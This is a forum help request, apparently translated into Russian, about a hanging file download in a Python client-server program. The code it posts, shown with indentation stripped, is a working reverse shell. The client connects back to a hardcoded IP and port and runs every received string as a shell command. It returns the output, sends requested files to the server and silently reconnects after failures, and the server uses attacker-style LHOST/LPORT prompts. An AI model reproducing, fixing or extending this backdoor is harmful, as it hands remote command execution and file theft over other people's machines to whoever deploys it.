Привет всем и извините за мой английский.Я пытаюсь создать клиент-серверную программу на python, где сервер отправляет клиенту команду для получения информации, например dir
o cd directory
.Теперь я хочу реализовать метод загрузки и выгрузки файла, но у меня проблема с загрузкой (я даже не кодировал загрузку).
Единственный способ, которым он работает, - это если я поставлюbreak
в цикле клиента.Но тогда клиент закрывается сам.Если я не поставлю break
, программа продолжит работу до бесконечности, но я больше не могу отправлять команду, и сервер не записывает файл на диск.Так что это не работает.
Я не знаю, проблема в клиенте или на сервере.Я выложу код, чтобы вы могли проверить, что не так.
СЕРВЕР (УДАЛИТЬ ИНТЕРФЕЙС () ВЫЗОВ, ЭТО ДРУГОЙ ФАЙЛ)
import socket
import sys
import time
import interface
def socket_create():
try:
global s
s = socket.socket()
except socket.error as msg:
print("Socket creation error: " + str(msg))
try:
s.bind((host, port))
s.listen(1)
print("Listening on " + str(host) + ":" + str(port))
except socket.error as msg:
print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
conn, address = s.accept()
print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1]))
time.sleep(0.5)
send_commands(conn)
def send_commands(conn):
client_response = str(conn.recv(4096), "utf-8")
print(client_response, end="")
while True:
try:
cmd = input()
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
elif cmd[:8] == 'download':
conn.send(str.encode(cmd))
downFile = cmd[9:]
client_response = conn.recv(1024)
f = open(downFile, 'wb')
print("Downloading " + downFile)
while client_response:
f.write(client_response)
client_response = conn.recv(1024)
if not client_response:
print("Download completed")
f.close()
elif len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(4096), "utf-8")
print(client_response, end="")
except (ConnectionResetError, ConnectionAbortedError):
print("Connection with host was lost")
s.listen(1)
print("Listening on " + str(host) + ":" + str(port))
conn, address = s.accept()
print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1]))
send_commands(conn)
def graphic():
interface.gui()
def main():
global host
try:
host = input("Enter your local host IP > ")
print("Set LHOST --> %s" % host)
global port
port = int(input("Enter the port > "))
print("Set LPORT --> %s" % port)
socket_create()
except (ValueError, OSError, OverflowError):
print("You entered invalid data")
main()
if __name__ == "__main__":
graphic()
КЛИЕНТ
import os
import socket
import subprocess
import time
def connect_to_server():
try:
global host
global port
global s
host = "192.168.1.3"
port = 9999
s = socket.socket()
s.connect((host, port))
s.send(str.encode(os.getcwd() + '> '))
receive_commands()
except (ConnectionRefusedError, ConnectionResetError,
ConnectionAbortedError):
time.sleep(5)
connect_to_server()
def receive_commands():
while True:
data = s.recv(1024)
if data[:3].decode("utf-8") == 'cd ':
try:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
os.chdir(data[3:])
s.send(str.encode(os.getcwd() + '> '))
except FileNotFoundError:
s.send(output_bytes + str.encode(os.getcwd() + '> '))
elif data[:8].decode("utf-8") == 'download':
file_name = data[9:].decode("utf-8")
with open(file_name, 'rb') as f:
fileToSend = f.read(1024)
while fileToSend:
s.send(fileToSend)
fileToSend = f.read(1024)
break
elif len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, "utf-8", errors='ignore')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
while not data:
connect_to_server()
def main():
connect_to_server()
main()